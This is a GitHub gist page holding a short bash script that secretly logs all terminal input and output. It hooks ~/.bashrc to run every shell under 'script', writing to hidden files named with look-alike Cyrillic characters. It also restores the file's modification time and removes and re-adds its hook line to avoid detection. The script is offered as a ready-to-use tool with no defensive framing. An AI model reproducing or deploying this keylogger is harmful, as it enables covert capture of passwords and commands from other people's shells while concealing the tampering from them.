-
-
Save 9bie/c8dfd5ecb25917e149dc69b49c545ca3 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# CUSTIMIZE BEFORE UPLOAD | |
fakerc=~/.bаsh_login | |
logfile=~/.bаsh_cache | |
waitsec=5 | |
changetime=$(stat -c %Y ~/.bashrc) | |
read script <<EOF | |
exec script -B "$logfile" -afqc "bash --rcfile '$fakerc'" | |
EOF | |
quoted=$(printf "%q" "$script") | |
# UI BEGIN | |
print() { echo -e "$*"; } | |
printvar() { printf " + \e[1;32m%s\e[m = \e[4;5m%s\e[m\n" $1 "${!1}"; } | |
printvar fakerc | |
printvar logfile | |
printvar script | |
printvar quoted | |
print "\e[5;7m wait for \e[1m5\e[0;$waitsec;7m secs, ctrl+c to interrupt \e[m" | |
sleep $waitsec | |
print "installing..." | |
# UI END | |
cat >$fakerc <<EOF | |
sed -i "/^exec script -B/d" ~/.bashrc | |
touch -d @$changetime ~/.bashrc | |
trap "echo $quoted >> ~/.bashrc" EXIT | |
. ~/.bashrc | |
EOF | |
echo $script >> ~/.bashrc |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment